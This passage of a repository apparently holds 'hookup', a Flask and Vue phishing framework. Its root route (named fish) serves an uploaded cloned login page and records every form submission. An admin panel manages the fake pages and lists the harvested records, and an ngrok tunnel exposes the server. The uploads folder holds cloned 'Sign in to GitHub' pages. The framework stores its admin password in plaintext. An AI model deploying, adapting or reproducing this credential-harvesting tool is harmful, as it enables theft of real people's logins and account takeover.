31 | name: "config",
32 | component: ConfigureScreen
33 | },
34 | {
35 | path: "/about",
36 | name: "about",
37 | component: About
38 | }
39 | ],
40 | linkActiveClass: "active"
41 | })
42 | };
43 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/src/services/api.js:
--------------------------------------------------------------------------------
1 | import Axios from "axios";
2 | import {
3 | urlGetNgrokUrl,
4 | urlNewPage,
5 | urlDeletePage,
6 | urlGetCurrent,
7 | urlSetCurrent,
8 | urlPages,
9 | urlGetRecords,
10 | urlGetRecordsByPage,
11 | urlAbout
12 | } from "./endpoints";
13 |
14 | export default {
15 | async getNgrokUrl() {
16 | let res = await Axios.get(urlGetNgrokUrl);
17 | return res.data;
18 | },
19 | async sendNewPage(data) {
20 | let res = await Axios.post(urlNewPage, data, {
21 | headers: { "Content-Type": "multipart/form-data" }
22 | });
23 | return res;
24 | },
25 | async getPages() {
26 | let res = await Axios.get(urlPages);
27 | return res.data;
28 | },
29 | // eslint-disable-next-line no-unused-vars
30 | async deletePage(data) {
31 | let res = Axios.post(urlDeletePage, data, {
32 | headers: { "Content-Type": "application/json" }
33 | });
34 | return res;
35 | },
36 | async getCurrentPage() {
37 | let res = await Axios.get(urlGetCurrent);
38 | return res.data;
39 | },
40 | async setCurrentPage(data) {
41 | let res = await Axios.post(urlSetCurrent, data, {
42 | headers: {
43 | "Content-Type": "application/json"
44 | }
45 | });
46 | return res;
47 | },
48 | async getRecords() {
49 | let res = await Axios.get(urlGetRecords);
50 | return res.data;
51 | },
52 | async getRecordsByPage() {
53 | let res = await Axios.get(urlGetRecordsByPage);
54 | return res.data;
55 | },
56 | async getAbout() {
57 | let res = await Axios.get(urlAbout);
58 | return res.data
59 | }
60 | };
61 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/src/services/endpoints.js:
--------------------------------------------------------------------------------
1 | const base = "http://localhost:5000";
2 |
3 | module.exports = {
4 | base,
5 | urlGetNgrokUrl: `${base}/api/get_ngrok_url`,
6 | urlNewPage: `${base}/api/page/new`,
7 | urlDeletePage: `${base}/api/page/delete`,
8 | urlGetCurrent: `${base}/api/page/get_current`,
9 | urlSetCurrent: `${base}/api/page/set_current`,
10 | urlPages: `${base}/api/pages`,
11 | urlGetRecords: `${base}/api/record/list`,
12 | urlGetRecordsByPage: `${base}/api/record/by_page`,
13 | urlAbout: `${base}/api/about`,
14 | urlLogout: `${base}/adminlogout`,
15 | };
16 |
--------------------------------------------------------------------------------
/hookup/models.py:
--------------------------------------------------------------------------------
1 | from flask_login import UserMixin
2 | from hookup import db, login_manager, app
3 | import os
4 | import json
5 | import datetime
6 |
7 |
8 | @login_manager.user_loader
9 | def load_user(user_id):
10 | return User.query.get(int(user_id))
11 |
12 |
13 | class User(db.Model, UserMixin):
14 | __tablename__ = "user"
15 |
16 | id = db.Column(db.Integer, primary_key=True)
17 | username = db.Column(db.String(40), unique=True)
18 | password = db.Column(db.String(40))
19 | current_page = db.Column(db.Integer, default=0)
20 | pages = db.relationship('Page', backref="user", lazy=True)
21 |
22 | def save(self):
23 | db.session.add(self)
24 | db.session.commit()
25 |
26 |
27 | class Page(db.Model):
28 | __tablename__ = "page"
29 |
30 | id = db.Column(db.Integer, primary_key=True)
31 | name = db.Column(db.String(40), unique=True)
32 | source = db.Column(db.String)
33 | records = db.relationship("Record", backref="page", lazy=True)
34 | stock = db.Column(db.Boolean, default=False)
35 | person_id = db.Column(db.Integer, db.ForeignKey(
36 | 'user.id'), nullable=False)
37 |
38 | def get_source_content(self):
39 | source_path = os.path.join(
40 | app.config['UPLOAD_FOLDER'], self.source)
41 | with open(source_path, "r", encoding="utf-8") as file:
42 | return file.read()
43 |
44 | def __repr__(self):
45 | return self.name
46 |
47 |
48 | class Record(db.Model):
49 | __tablename__ = "record"
50 |
51 | id = db.Column(db.Integer, primary_key=True)
52 | _data = db.Column(db.String, default="No data")
53 | page_id = db.Column(db.Integer, db.ForeignKey(
54 | 'page.id'), nullable=False)
55 | created_date = db.Column(db.DateTime, default=datetime.datetime.utcnow)
56 |
57 | @property
58 | def data(self):
59 | return json.loads(self._data)
60 |
61 | @data.setter
62 | def data(self, val):
63 | self._data = json.dumps(val)
64 |
--------------------------------------------------------------------------------
/hookup/templates/login.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
12 |
22 | Hook-up Login
23 |
24 |
25 |
72 |
73 |
74 |
75 |
76 |
--------------------------------------------------------------------------------
/hookup/uploads/.keep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bufgix/hookup/31d6a0d413c62d317f1b70c4d83541a00bf15d72/hookup/uploads/.keep
--------------------------------------------------------------------------------
/hookup/uploads/github.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 | Sign in to GitHub · GitHub
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
201 |
202 |
203 |
204 |
205 |
213 |
214 |
215 |
216 |
217 |
218 |
219 |
220 |
221 | You can’t perform that action at this time.
222 |
223 |
224 |
225 |
226 |
227 |
228 |
229 |
230 |
231 |
232 |
234 |
235 |
You signed in with another tab or window. Reload to refresh your session.
236 |
You signed out in another tab or window. Reload to refresh your session.
237 |
238 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 |
248 |
249 |
250 |
254 |
255 |
256 |
257 |
258 |
259 |
260 |
--------------------------------------------------------------------------------
/hookup/uploads/github_2.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 | Sign in to GitHub · GitHub
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
201 |
202 |
203 |
204 |
205 |
213 |
214 |
215 |
216 |
217 |
218 |
219 |
220 |
221 | You can’t perform that action at this time.
222 |
223 |
224 |
225 |
226 |
227 |
228 |
229 |
230 |
231 |
232 |
234 |
235 |
You signed in with another tab or window. Reload to refresh your session.
236 |
You signed out in another tab or window. Reload to refresh your session.
237 |
238 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 |
248 |
249 |
250 |
254 |
255 |
256 |
257 |
258 |
259 |
260 |
--------------------------------------------------------------------------------
/hookup/utils.py:
--------------------------------------------------------------------------------
1 | import pathlib
2 |
3 | PROJECT_DIR = pathlib.Path(__file__).parent
--------------------------------------------------------------------------------
/hookup/views.py:
--------------------------------------------------------------------------------
1 | from flask import jsonify, request, session, redirect, render_template
2 | from flask_login import login_required, login_user, current_user, logout_user
3 | from sqlalchemy.exc import IntegrityError
4 | from hookup import app, db, PROJECT_DIR, __version__, __version_client__
5 | from functools import wraps
6 | import json
7 | import git
8 |
9 | from hookup.flask_ngrok import get_tunnel_url
10 | from hookup.models import User, Page, Record
11 |
12 |
13 | def auth_api(f):
14 | @wraps(f)
15 | def decorated_function(*args, **kwargs):
16 | print(current_user.is_authenticated)
17 | if current_user.is_authenticated:
18 | return f(*args, **kwargs)
19 | else:
20 | return jsonify({'msg': 'Not authenticated'})
21 |
22 | return decorated_function
23 |
24 |
25 | @app.route("/", methods=["GET", "POST"])
26 | def fish():
27 | user = User.query.first()
28 | current_page = user.pages[user.current_page]
29 | if request.method == "POST":
30 | r = Record()
31 | r.data = request.form
32 | current_page.records.append(r)
33 | user.save()
34 | return jsonify("thank you!")
35 |
36 | current_page = user.pages[user.current_page]
37 |
38 | return current_page.get_source_content()
39 |
40 |
41 | @app.route("/adminlogin", methods=["GET", "POST"])
42 | def login():
43 | if request.method == "POST":
44 | user = User.query.first()
45 | if user and user.password == request.form.get('password') and user.username == request.form.get("username"):
46 | login_user(user)
47 | return redirect("adminpage")
48 | return render_template("login.html")
49 |
50 |
51 | @app.route('/adminpage', defaults={'path': ''})
52 | @login_required
53 | def main(path):
54 | return render_template("index.html")
55 |
56 |
57 | @app.route("/adminlogout")
58 | def logout():
59 | logout_user()
60 | return redirect("/adminlogin")
61 |
62 |
63 | @app.route("/api/get_ngrok_url")
64 | def get_ngrok_url():
65 | return jsonify(get_tunnel_url())
66 |
67 |
68 | @app.route("/api/page/new", methods=["POST"])
69 | def new_page():
70 | if 'page' in request.files:
71 | page = Page(name=request.form['pageTitle'],
72 | source=f"{request.form['pageTitle']}.html")
73 | user = User.query.first()
74 | user.pages.append(page)
75 | try:
76 | user.save()
77 | file = request.files['page']
78 | file.save(str(app.config['UPLOAD_FOLDER'] /
79 | f"{request.form['pageTitle']}.html"))
80 | except IntegrityError as ex:
81 | return jsonify(f"{request.form['pageTitle']} already exists"), 500
82 | else:
83 | return jsonify(f"Missing soruce code"), 500
84 |
85 | return jsonify(f"{request.form['pageTitle']} successfully deleted"), 200
86 |
87 |
88 | @app.route("/api/page/delete", methods=["POST"])
89 | def delete_page():
90 | user = User.query.first()
91 | page_name = request.json.get('pageName')
92 | source_file = app.config['UPLOAD_FOLDER'] / f"{page_name}.html"
93 | page = Page.query.filter_by(name=page_name).one()
94 | if len(user.pages) == user.current_page + 1:
95 | user.current_page -= 1
96 | db.session.delete(page)
97 | db.session.commit()
98 | source_file.unlink() # delete old page
99 |
100 | return jsonify(f"{page_name} successfully deleted"), 200
101 |
102 |
103 | @app.route("/api/page/get_current")
104 | def get_current_page():
105 | user = User.query.first()
106 | if len(user.pages) == 0:
107 | return jsonify({})
108 | current_page = user.pages[user.current_page]
109 | return jsonify({
110 | "name": current_page.name,
111 | "source": current_page.get_source_content()
112 | }), 200
113 |
114 |
115 | @app.route("/api/page/set_current", methods=["POST"])
116 | def set_current_page():
117 | user = User.query.first()
118 | user.current_page = [i.name for i in user.pages].index(
119 | request.json['currentPage'])
120 | user.save()
121 | current_page = user.pages[user.current_page]
122 | return jsonify({
123 | "name": current_page.name,
124 | "source": current_page.get_source_content(),
125 | "msg": f"{current_page.name} is now current page!"
126 | }), 200
127 |
128 |
129 | @app.route("/api/pages")
130 | def list_pages():
131 | user = User.query.first()
132 | if len(user.pages) == 0:
133 | return jsonify([])
134 | pages = list()
135 | for page in user.pages:
136 | pages.append({
137 | "name": page.name,
138 | "source": page.get_source_content(),
139 | "stock": page.stock
140 | })
141 | current_page = user.pages[user.current_page]
142 | return jsonify(pages), 200
143 |
144 |
145 | @app.route("/api/record/by_page")
146 | def records_all():
147 | user = User.query.first()
148 | r_data = list()
149 | for page in user.pages:
150 | record_list = [rec.data for rec in page.records]
151 | r_data.append({
152 | "name": page.name,
153 | "records": record_list
154 | })
155 | return jsonify(r_data)
156 |
157 |
158 | @app.route("/api/record/list")
159 | def record_list():
160 | records = Record.query.order_by(Record.created_date.desc()).all()
161 | r_data = []
162 | for record in records:
163 | r_data.append({
164 | "pageName": record.page.name,
165 | "data": record.data,
166 | "date": record.created_date.strftime("%H.%M.%S - %d/%m/%Y")
167 | })
168 |
169 | return jsonify(r_data)
170 |
171 | @app.route("/api/about")
172 | def about():
173 | repo = git.Repo(str(PROJECT_DIR.parent))
174 | return jsonify({
175 | "server_v": __version__,
176 | "client_v": __version_client__,
177 | "commit": str(repo.head.commit)
178 | })
179 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | aniso8601==8.0.0
2 | certifi==2019.11.28
3 | chardet==3.0.4
4 | Click==7.0
5 | Flask==1.1.1
6 | Flask-Cors==3.0.8
7 | Flask-Login==0.4.1
8 | Flask-RESTful==0.3.7
9 | Flask-SQLAlchemy==2.4.1
10 | gitdb2==2.0.6
11 | GitPython==3.0.5
12 | idna==2.8
13 | itsdangerous==1.1.0
14 | Jinja2==2.11.1
15 | MarkupSafe==1.1.1
16 | pytz==2019.3
17 | requests==2.22.0
18 | six==1.14.0
19 | smmap2==2.0.5
20 | SQLAlchemy==1.3.13
21 | urllib3==1.25.8
22 | Werkzeug==0.16.1
23 |
--------------------------------------------------------------------------------
/run.py:
--------------------------------------------------------------------------------
1 | from hookup import start_server, db, cli
2 |
3 | if __name__ == '__main__':
4 | db.create_all()
5 | cli.main()
6 | start_server()
7 |
--------------------------------------------------------------------------------